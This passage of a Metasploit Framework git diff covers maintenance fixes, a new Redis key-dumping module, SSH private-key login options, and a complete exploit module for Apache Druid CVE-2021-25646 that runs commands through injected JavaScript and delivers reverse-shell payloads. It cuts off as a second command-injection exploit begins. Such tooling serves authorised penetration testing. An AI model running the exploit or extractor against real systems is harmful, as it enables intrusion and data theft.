::Mdm::Session.find(id) session.update!(opts) diff --git a/lib/msf/core/db_manager/session_event.rb b/lib/msf/core/db_manager/session_event.rb index 5974f8584127..8d5d542f17d4 100644 --- a/lib/msf/core/db_manager/session_event.rb +++ b/lib/msf/core/db_manager/session_event.rb @@ -25,6 +25,7 @@ def session_events(opts) return Array.wrap(Mdm::SessionEvent.find(opts[:id])) end + opts = opts.clone() # protect the original caller's opts # Passing workspace keys to the search will cause exceptions, so remove them if they were accidentally included. opts.delete(:workspace) diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index ef8cd6607f1d..ca3596886af5 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -9,6 +9,7 @@ module Msf::DBManager::User def users(opts) ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts search_term = opts.delete(:search_term) if search_term && !search_term.empty? column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::User, search_term) @@ -74,6 +75,7 @@ def report_user(opts) # @return [Mdm::User] The updated Mdm::User object. def update_user(opts) ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts id = opts.delete(:id) user = Mdm::User.find(id) user.update!(opts) diff --git a/lib/msf/core/db_manager/vuln_attempt.rb b/lib/msf/core/db_manager/vuln_attempt.rb index 12dec5e412d2..064198d14580 100644 --- a/lib/msf/core/db_manager/vuln_attempt.rb +++ b/lib/msf/core/db_manager/vuln_attempt.rb @@ -28,6 +28,7 @@ def vuln_attempts(opts) return Array.wrap(Mdm::VulnAttempt.find(opts[:id])) end + opts = opts.clone() # protect the original caller's opts # 'workspace' is not a valid attribute for Mdm::VulnAttempt. Remove it. opts.delete(:workspace) diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb index d8a2410c2a3a..b4f0d5fef339 100644 --- a/lib/msf/core/db_manager/web.rb +++ b/lib/msf/core/db_manager/web.rb @@ -20,6 +20,7 @@ module Msf::DBManager::Web def report_web_form(opts) return if not active ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) path = opts[:path] @@ -107,6 +108,7 @@ def report_web_form(opts) def report_web_page(opts) return if not active ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) path = opts[:path] @@ -188,6 +190,7 @@ def report_web_page(opts) def report_web_site(opts) return if not active ::ApplicationRecord.connection_pool.with_connection { |conn| + opts = opts.clone() # protect the original caller's opts wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) vhost = opts.delete(:vhost) @@ -289,6 +292,7 @@ def report_web_site(opts) def report_web_vuln(opts) return if not active ::ApplicationRecord.connection_pool.with_connection { + opts = opts.clone() # protect the original caller's opts wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) path = opts[:path] diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index 0b925b0f69ef..19b2857a1dd2 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -52,7 +52,7 @@ def workspaces(opts = {}) return Array.wrap(Mdm::Workspace.find(opts[:id])) end - opts = opts.clone() # protect the original callers array + opts = opts.clone() # protect the original caller's opts search_term = opts.delete(:search_term) # Passing these values to the search will cause exceptions, so remove them if they accidentally got passed in. opts.delete(:workspace) @@ -95,6 +95,7 @@ def delete_workspaces(opts) def update_workspace(opts) raise ArgumentError.new("The following options are required: :id") if opts[:id].nil? + opts = opts.clone() # protect the original caller's opts opts.delete(:workspace) ::ApplicationRecord.connection_pool.with_connection { diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index b95afec166b9..72f0383ccbd6 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -211,7 +211,6 @@ def run_hidden_psh(ps_code, payload_arch, encoded) # re-execution if the shellcode finishes # @option opts [Integer] :prepend_sleep Sleep for the specified time # before executing the payload - # @option opts [Integer] :exec_rc4 Encrypt payload with RC4 # @option opts [Boolean] :prepend_protections_bypass Prepend AMSI/SBL bypass # @option opts [Boolean] :exec_rc4 Encrypt payload with RC4 # @option opts [String] :method The powershell injection technique to diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index ca3c5629156d..ff39089fad56 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -715,6 +715,7 @@ def cmd_history_help print_line print_line "If -n is not set, only the last #{@history_limit} commands will be shown." print_line 'If -c is specified, the command history and history file will be cleared.' + print_line 'Start commands with a space to avoid saving them to history.' print @@history_opts.usage end @@ -1430,6 +1431,7 @@ def cmd_sessions(*args) process = session.sys.process.execute(c, c_args, { 'Channelized' => true, + 'Subshell' => true, 'Hidden' => true }) if process && process.channel diff --git a/lib/msf/ui/tip.rb b/lib/msf/ui/tip.rb index e164b06b9cfe..4c0d199e5cc7 100644 --- a/lib/msf/ui/tip.rb +++ b/lib/msf/ui/tip.rb @@ -35,6 +35,7 @@ def self.highlight(string) "Adapter names can be used for IP params #{highlight('set LHOST eth0')}", "Use #{highlight('sessions -1')} to interact with the last opened session", "View missing module options with #{highlight('show missing')}", + "Start commands with a space to avoid saving them to history", ].freeze private_constant :COMMON_TIPS diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3f079f6dbcb5..eb2eb29a1cb6 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1476,6 +1476,16 @@ def self.to_python_reflection(framework, arch, code, exeopts) "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))" end + def self.to_win32pe_psh_msil(framework, code, opts = {}) + Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end + + def self.to_win32pe_psh_rc4(framework, code, opts = {}) + # unlike other to_win32pe_psh_* methods, this expects powershell code, not asm + # this method should be called after other to_win32pe_psh_* methods to wrap the output + Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code) + end + def self.to_jsp(exe) hash_sub = {} hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index 6e90bf0c61d4..053f8506ed6a 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -422,19 +422,9 @@ def tab_complete_stub(str, quote: nil) end } - # Verify that our search string is a valid regex - begin - Regexp.compile(str,Regexp::IGNORECASE) - rescue RegexpError - str = Regexp.escape(str) - end - - # @todo - This still doesn't fix some Regexp warnings: - # ./lib/rex/ui/text/dispatcher_shell.rb:171: warning: regexp has `]' without escape - # Match based on the partial word items.find_all { |word| - word.downcase.start_with?(str.downcase) || word =~ /^#{str}/i + word.downcase.start_with?(str.downcase) # Prepend the rest of the command (or it all gets replaced!) }.map { |word| word = quote.nil? ? word.gsub(' ', '\ ') : quote.dup << word << quote.dup @@ -646,11 +636,35 @@ def unblock_command(cmd) # ArgumentError on unbalanced quotes return the remainder of the string as if # the last character were the closing quote. # + # This code was originally taken from https://github.com/ruby/ruby/blob/93420d34aaf8c30f11a66dd08eb186da922c831d/lib/shellwords.rb#L88 + # def shellsplitex(line) quote = nil words = [] field = String.new - line.scan(/\G\s*(?>([^\s\\\'\"]+)|'([^\']*)'|"((?:[^\"\\]|\\.)*)"|(\\.?)|(\S))(\s|\z)?/m) do + regexp = %r{ + \G\s*(?>(?[^\s\'\"]+) # Words within str + + | # OR + + '(?[^\']*)' # Text between single quotes + + | # OR + + "(?(?:[^\"\\]|\\.)*)" # Text between double quotes + + | # OR + + (?\\.?) # Escapes used on special characters + + | # OR + + (?\S)) # Anything that wasn't already matched, expect whitespace + + (?\s|\z)? # Separators + }ix + + line.scan(regexp) do |word, sq, dq, esc, garbage, sep| if garbage if quote.nil? @@ -662,7 +676,7 @@ def shellsplitex(line) end field << (word || sq || (dq && dq.gsub(/\\([$`"\\\n])/, '\\1')) || esc.gsub(/\\(.)/, '\\1')) - field << sep unless quote.nil? + field << sep unless quote.nil? || sep.nil? if quote.nil? && sep words << field field = String.new diff --git a/lib/rex/ui/text/input/readline.rb b/lib/rex/ui/text/input/readline.rb index 531de48c6037..ba7e22ad6b01 100644 --- a/lib/rex/ui/text/input/readline.rb +++ b/lib/rex/ui/text/input/readline.rb @@ -166,10 +166,10 @@ def readline_with_output(prompt, add_history=false) raise exception end - if add_history && line + if add_history && line && !line.start_with?(' ') # Don't add duplicate lines to history - if ::Readline::HISTORY.empty? || line != ::Readline::HISTORY[-1] - RbReadline.add_history(line) + if ::Readline::HISTORY.empty? || line.strip != ::Readline::HISTORY[-1] + RbReadline.add_history(line.strip) end end diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb index 449a0fd29420..b6e6dab0f879 100644 --- a/lib/rex/ui/text/shell.rb +++ b/lib/rex/ui/text/shell.rb @@ -157,8 +157,8 @@ def run(&block) ret = run_single(line) # don't bother saving lines that couldn't be found as a # command, create the file if it doesn't exist, don't save dupes - if ret && self.histfile && line != @last_line - File.open(self.histfile, "a+") { |f| f.puts(line) } + if ret && self.histfile && line && line.strip != @last_line&.strip + File.open(self.histfile, "a+") { |f| f.puts(line.strip) unless line.starts_with?(" ") } @last_line = line end self.stop_count = 0 diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index c5c41554c97d..3bec17727c3e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 3.1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.43' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.44' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.9' # Needed by msfgui and other rpc components diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 7f0302479451..b94798f15a56 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -22,9 +22,7 @@ def initialize(info = {}) This module will search the specified MSSQL server for 'interesting' columns and data. - The module has been tested against SQL Server 2005 but it should also work on - SQL Server 2008. The module will not work against SQL Server 2000 at this time, - if you are interested in supporting this platform, please contact the author. + This module has been tested against the latest SQL Server 2019 docker container image (22/04/2021). }, 'Author' => [ 'Robin Wood ' ], 'License' => MSF_LICENSE, @@ -90,7 +88,6 @@ def run begin if mssql_login_datastore result = mssql_query(sql, false) - column_data = result[:rows] else print_error('Login failed') return @@ -104,6 +101,11 @@ def run widths = [0, 0, 0, 0, 0, 9] total_width = 0 + if column_data.nil? + print_error("No columns matched the pattern #{datastore['NAMES'].inspect}. Set the NAMES option to change this search pattern.") + return + end + (column_data|headings).each { |row| 0.upto(4) { |col| widths[col] = row[col].length if row[col].length > widths[col] diff --git a/modules/auxiliary/gather/redis_extractor.rb b/modules/auxiliary/gather/redis_extractor.rb new file mode 100644 index 000000000000..69176c8872a2 --- /dev/null +++ b/modules/auxiliary/gather/redis_extractor.rb @@ -0,0 +1,181 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Redis + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Redis Extractor', + 'Description' => %q{ + This module connects to a Redis instance and retrieves keys and data stored. + }, + 'Author' => ['Geoff Rainville noncenz[at]ultibits.com'], + 'License' => MSF_LICENSE, + 'References' => [['URL', 'https://redis.io/topics/protocol']] + ) + ) + end + + MIN_REDIS_VERSION = '2.8.0'.freeze + + # Recurse to assemble the full list of keys + def scan(offset) + response = redis_command('scan', offset) + parsed = parse_redis_response(response) + raise 'Unexpected RESP response length' unless parsed.length == 2 + + new_offset = parsed[0] # cursor position for next iteration or zero if we are done + keys = parsed[1] + results = [] + keys.each do |key| + results.push([key, value_for_key(key)]) + end + [new_offset, results] + end + + def value_for_key(key) + key_type = redis_command('TYPE', key) + key_type = parse_redis_response(key_type) + case key_type + when 'string' + string_content = redis_command('get', key) + return parse_redis_response(string_content) + when 'list' + list_content = redis_command('LRANGE', key, '0', '-1') + return parse_redis_response(list_content) + when 'set' + set_content = redis_command('SMEMBERS', key) + return parse_redis_response(set_content) + when 'zset' + set_content = redis_command('ZRANGE', key, '0', '-1') + return parse_redis_response(set_content) + when 'hash' + hash_content = parse_redis_response(redis_command('HGETALL', key)) + result = {} + (0..hash_content.length - 1).step(2) do |x| + result[hash_content[x]] = hash_content[x + 1] + end + return result + else + return 'unknown key type ' + key_type + end + end + + # Connect to Redis and ensure compatibility. + def redis_connect + begin + connect + # NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed + if (info_data = redis_command('INFO', 'server')) && /redis_version:(?\S+)/ =~ info_data + print_good("Connected to Redis version #{redis_version}") + end + + # Some connection attempts such as incorrect password set fail silently in the Redis library. + if !info_data + print_error('Unable to connect to Redis') + print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE'] + return + end + + # Ensure version compatability + if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION)) + print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.") + return + end + + # Connection was sucessful + return info_data + rescue Msf::Auxiliary::Failed => e + # This error trips when auth is required but password not set + print_error('Unable to connect to Redis: ' + e.message) + return + rescue Rex::ConnectionTimeout + print_error('Timed out trying to connect to Redis') + return + rescue StandardError + print_error('Unknown error trying to connect to Redis') + return + end + end + + def check_host(_ip) + info_data = redis_connect + if info_data + if /os:(?.*)\r/ =~ info_data + os_ver = os_ver.strip + print_status("OS is #{os_ver} ") + end + + if /keys=(?\S+),expires=/ =~ info_data + print_status("Redis reports #{keys} keys stored") + end + + if /used_memory_peak_human:(?.*)\r/ =~ info_data + bytes = bytes.strip + print_status("#{bytes.chomp} bytes stored") + end + end + disconnect + return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown + end + + def get_keyspace + ks = redis_command('INFO', 'keyspace') + ks = parse_redis_response(ks) + ks = ks.split("\r\n") + result = [] + ks.each do |k| + if /db(?\S+):/ =~ k && /keys=(?\S+),expires/ =~ k + result.append([db, keys]) + end + end + return result + end + + def run_host(_ip) + if !redis_connect + disconnect + return + end + + keyspace = get_keyspace + keyspace.each do |space| + print_status("Extracting about #{space[1]} keys from database #{space[0]}") + redis_command('SELECT', space[0]) + new_offset = '0' + all_results = [] + loop do + new_offset, results = scan(new_offset) + all_results.concat(results) + break if new_offset == '0' + end + + if all_results.empty? + print_status('No keys returned') + next + end + + # Report data in terminal + result_table = Rex::Text::Table.new( + 'Header' => "Data from #{peer} database #{space[0]}", + 'Indent' => 1, + 'Columns' => [ 'Key', 'Value' ] + ) + all_results.each { |pair| result_table << pair } + print_line + print_line(result_table.to_s) + + # Store data as loot + csv = [] + all_results.each { |pair| csv << pair.to_csv } + path = store_loot("redis.dump_db#{space[0]}", 'text/plain', rhost, csv.join, 'redis.txt', 'Redis extractor') + print_good("Redis data stored at #{path}") + end + disconnect + end +end diff --git a/modules/auxiliary/scanner/http/rdp_web_login.py b/modules/auxiliary/scanner/http/rdp_web_login.py index fc0a1080c1b4..5d4083c022d4 100755 --- a/modules/auxiliary/scanner/http/rdp_web_login.py +++ b/modules/auxiliary/scanner/http/rdp_web_login.py @@ -65,7 +65,7 @@ def verify_service(rhost, rport, targeturi, timeout, user_agent): """Verify the service is up at the target URI within the specified timeout""" - url = f'https://{rhost}:{rport}/{targeturi}' + url = 'https://{}:{}/{}'.format(rhost, rport, targeturi) headers = {'Host':rhost, 'User-Agent': user_agent} try: @@ -88,7 +88,7 @@ def get_ad_domain(rhost, rport, user_agent): 'Host': rhost} session = requests.Session() for url in domain_urls: - target_url = f"https://{rhost}:{rport}/{url}" + target_url = 'https://{}:{}/{}'.format(rhost, rport, url) request = session.get(target_url, headers=headers, verify=False) # Decode the provided NTLM Response to strip out the domain name if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \ @@ -97,7 +97,7 @@ def get_ad_domain(rhost, rport, user_agent): domain = base64.b64decode(bytes(domain_hash, 'utf-8')).replace(b'\x00',b'').split(b'\n')[1] domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8') - module.log(f'Found Domain: {domain}', level='good') + module.log('Found Domain: {}'.format(domain), level='good') return domain module.log('Failed to find Domain', level='error') return None @@ -108,13 +108,13 @@ def check_login(rhost, rport, targeturi, domain, username, password, timeout, us The timeout is used to specify the amount of milliseconds where a response should consider the username invalid.""" - url = f'https://{rhost}:{rport}/{targeturi}' - body = f'DomainUserName={domain}%5C{username}&UserPass={password}' + url = 'https://{}:{}/{}'.format(rhost, rport, targeturi) + body = 'DomainUserName={}%5C{}&UserPass={}'.format(domain, username, password) headers = {'Host':rhost, 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', - 'Content-Length': f'{len(body)}', - 'Origin': f'https://{rhost}'} + 'Content-Length': str(len(body)), + 'Origin': 'https://{}'.format(rhost)} session = requests.Session() report_data = {'domain':domain, 'address': rhost, 'port': rport, 'protocol': 'tcp', 'service_name':'RDWeb'} @@ -122,16 +122,16 @@ def check_login(rhost, rport, targeturi, domain, username, password, timeout, us request = session.post(url, data=body, headers=headers, timeout=(timeout / 1000), verify=False, allow_redirects=False) if request.status_code == 302: - module.log(f'Login {domain}\\{username}:{password} is valid!', level='good') + module.log('Login {}\\{}:{} is valid!'.format(domain, username, password), level='good') module.report_correct_password(username, password, **report_data) elif request.status_code == 200: - module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds', + module.log('Password {} is invalid but {}\\{} is valid! Response received in {} milliseconds'.format(password, domain, username, request.elapsed.microseconds / 1000), level='good') module.report_valid_username(username, **report_data) else: - module.log(f'Received unknown response with status code: {request.status_code}') + module.log('Received unknown response with status code: {}'.format(request.status_code)) except requests.exceptions.Timeout: - module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds', + module.log('Login {}\\{}:{} is invalid! No response received in {} milliseconds'.format(domain, username, password, timeout), level='error') except requests.exceptions.RequestException as exc: module.log('{}'.format(exc), level='error') @@ -159,7 +159,7 @@ def run(args): if service_verified: module.log('Service is up, beginning scan...', level='good') else: - module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds', + module.log('Service appears to be down, no response in {} milliseconds'.format(args["timeout"]), level='error') return diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 61afaf595667..55ea471920d6 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -58,6 +58,8 @@ def rport def session_setup(result, scanner) return unless scanner.ssh_socket + platform = scanner.get_platform(result.proof) + # Create a new session conn = Net::SSH::CommandStream.new(scanner.ssh_socket) @@ -73,7 +75,7 @@ def session_setup(result, scanner) self.sockets.delete(scanner.ssh_socket.transport.socket) # Set the session platform - s.platform = scanner.get_platform(result.proof) + s.platform = platform # Create database host information host_info = {host: scanner.host} @@ -90,6 +92,7 @@ def session_setup(result, scanner) def run_host(ip) @ip = ip + print_brute :ip => ip, :msg => "Starting bruteforce" cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index cee71317eeee..102e59ef758e 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -39,8 +39,9 @@ def initialize register_options( [ Opt::RPORT(22), - OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. Duplicate private keys will be ignored.']), + OptPath.new('KEY_PATH', [false, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. Duplicate private keys will be ignored.']), OptString.new('KEY_PASS', [false, 'Passphrase for SSH private key(s)']), + OptString.new('PRIVATE_KEY', [false, 'The string value of the private key that will be used. If you are using MSFConsole, this value should be set as file:PRIVATE_KEY_PATH. OpenSSH, RSA, DSA, and ECDSA private keys are supported.']) ], self.class ) @@ -69,7 +70,7 @@ def ip datastore['RHOST'] end - def session_setup(result, scanner, fingerprint) + def session_setup(result, scanner, fingerprint, cred_core_private_id) return unless scanner.ssh_socket # Create a new session from the socket @@ -78,12 +79,13 @@ def session_setup(result, scanner, fingerprint) # Clean up the stored data - need to stash the keyfile into # a datastore for later reuse. merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => result.credential.public, - 'SSH_KEYFILE_B64' => [result.credential.private].pack("m*").gsub("\n",""), - 'KEY_PATH' => nil + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'CRED_CORE_PRIVATE_ID' => cred_core_private_id, + 'SSH_KEYFILE_B64' => [result.credential.private].pack("m*").gsub("\n",""), + 'KEY_PATH' => nil } info = "SSH #{result.credential.public}:#{fingerprint} (#{ip}:#{rport})" @@ -120,6 +122,7 @@ def run_host(ip) password: datastore['KEY_PASS'], user_file: datastore['USER_FILE'], username: datastore['USERNAME'], + private_key: datastore['PRIVATE_KEY'] ) unless keys.valid? @@ -131,7 +134,18 @@ def run_host(ip) keys = prepend_db_keys(keys) - print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys from #{datastore['KEY_PATH']}" + key_count = keys.key_data.count + key_sources = [] + unless datastore['KEY_PATH'].blank? + key_sources.append(datastore['KEY_PATH']) + end + + unless datastore['PRIVATE_KEY'].blank? + key_sources.append('PRIVATE_KEY') + end + + + print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{key_count} #{'key'.pluralize(key_count)} from #{key_sources.join(' and ')}" scanner = Metasploit::Framework::LoginScanner::SSH.new( host: ip, port: rport, @@ -161,7 +175,7 @@ def run_host(ip) create_credential_login(credential_data) tmp_key = result.credential.private ssh_key = SSHKey.new tmp_key - session_setup(result, scanner, ssh_key.fingerprint) if datastore['CreateSession'] + session_setup(result, scanner, ssh_key.fingerprint, credential_core.private_id) if datastore['CreateSession'] if datastore['GatherProof'] && scanner.get_platform(result.proof) == 'unknown' msg = "While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with" msg << " 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with" @@ -187,12 +201,12 @@ def run_host(ip) scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end - end class KeyCollection < Metasploit::Framework::CredentialCollection attr_accessor :key_data attr_accessor :key_path + attr_accessor :private_key attr_accessor :error_list # Override CredentialCollection#has_privates? @@ -207,26 +221,43 @@ def realm def valid? @error_list = [] @key_data = Set.new - if File.directory?(@key_path) - @key_files ||= Dir.entries(@key_path).reject { |f| f =~ /^\x2e|\x2epub$/ } - @key_files.each do |f| + + unless @private_key.present? || @key_path.present? + raise RuntimeError, "No key path or key provided" + end + + if @key_path.present? + if File.directory?(@key_path) + @key_files ||= Dir.entries(@key_path).reject { |f| f =~ /^\x2e|\x2epub$/ } + @key_files.each do |f| + begin + data = read_key(File.join(@key_path, f)) + @key_data << data if valid_key?(data) + rescue StandardError => e + @error_list << "#{File.join(@key_path, f)}: #{e}" + end + end + elsif File.file?(@key_path) begin - data = read_key(File.join(@key_path, f)) + data = read_key(@key_path) @key_data << data if valid_key?(data) rescue StandardError => e - @error_list << "#{File.join(@key_path, f)}: #{e}" + @error_list << "#{@key_path} could not be read, #{e}" end + else + raise RuntimeError, "Invalid key path" end - elsif File.file?(@key_path) - begin - data = read_key(@key_path) - @key_data << data if valid_key?(data) - rescue StandardError => e - @error_list << "#{@key_path} could not be read, #{e}" + end + + if @private_key.present? + data = Net::SSH::KeyFactory.load_data_private_key(@private_key, @password, false).to_s + if valid_key?(data) + @key_data << data + else + raise RuntimeError, "Invalid private key" end - else - raise RuntimeError, "No key path" end + !@key_data.empty? end diff --git a/modules/exploits/linux/http/apache_druid_js_rce.rb b/modules/exploits/linux/http/apache_druid_js_rce.rb new file mode 100644 index 000000000000..c5d365f1b4c1 --- /dev/null +++ b/modules/exploits/linux/http/apache_druid_js_rce.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Druid 0.20.0 Remote Command Execution', + 'Description' => %q{ + Apache Druid includes the ability to execute user-provided JavaScript code embedded in + various types of requests; however, that feature is disabled by default. + + In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request + that both enables the JavaScript code-execution feature and executes the supplied code all + at once, allowing for code execution on the server with the privileges of the Druid Server process. + More critically, authentication is not enabled in Apache Druid by default. + + Tested on the following Apache Druid versions: + + * 0.15.1 + * 0.16.0-iap8 + * 0.17.1 + * 0.18.0-iap3 + * 0.19.0-iap7 + * 0.20.0-iap4.1 + * 0.20.0 + * 0.21.0-iap3 + }, + 'Author' => [ + 'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery + 'je5442804' # Metasploit module + ], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'References' => [ + ['CVE', '2021-25646'], + ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'], + ['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'], + ['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py'] + ], + 'DisclosureDate' => '2021-01-21', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'Linux (dropper)', { + 'Platform' => 'linux', + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' }, + 'CmdStagerFlavor' => %w[curl wget], + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ + 'Unix (in-memory)', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ], + ], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + Opt::RPORT(8888), + OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/']) + ]) + end + + def execute_command(cmd, _opts = {}) + gencmd = '/bin/sh`@~-c`@~' + cmd + genvar = Rex::Text.rand_text_alpha(8..12) + genname = Rex::Text.rand_text_alpha(8..12) + vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}") + post_data = { + type: 'index', + spec: { + ioConfig: { + type: 'index', + firehose: { + type: 'local', + baseDir: '/etc', + filter: 'passwd' + } + }, + dataSchema: { + dataSource: Rex::Text.rand_text_alpha(8..12), + parser: { + parseSpec: { + format: 'javascript', + timestampSpec: {}, + dimensionsSpec: {}, + function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}", + "": { + enabled: 'true' + } + } + } + } + }, + samplerConfig: { + numRows: 10 + } + }.to_json + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json, text/plain, */*' + }, + 'data' => post_data + }) + end + + def check + genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a') + + vprint_status("Attempting to execute 'echo #{genecho}' on the target.") + res = execute_command("echo #{genecho}") + unless res + return CheckCode::Unknown('Connection failed.') + end + + unless res.code == 200 + return CheckCode::Safe + end + + if res.body.include?(genecho) + return CheckCode::Vulnerable + end + + CheckCode::Unknown('Target does not seem to be running Apache Druid.') + end + + def exploit + case target['Type'] + when :linux_dropper + execute_cmdstager + when :unix_memory + execute_command(payload.encoded) + end + end + +end diff --git a/modules/exploits/linux/http/microfocus_obr_cmd_injection.rb b/modules/exploits/linux/http/microfocus_obr_cmd_injection.rb new file mode 100644 index 000000000000..2031464a813f --- /dev/null +++ b/modules/exploits/linux/http/microfocus_obr_cmd_injection.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = 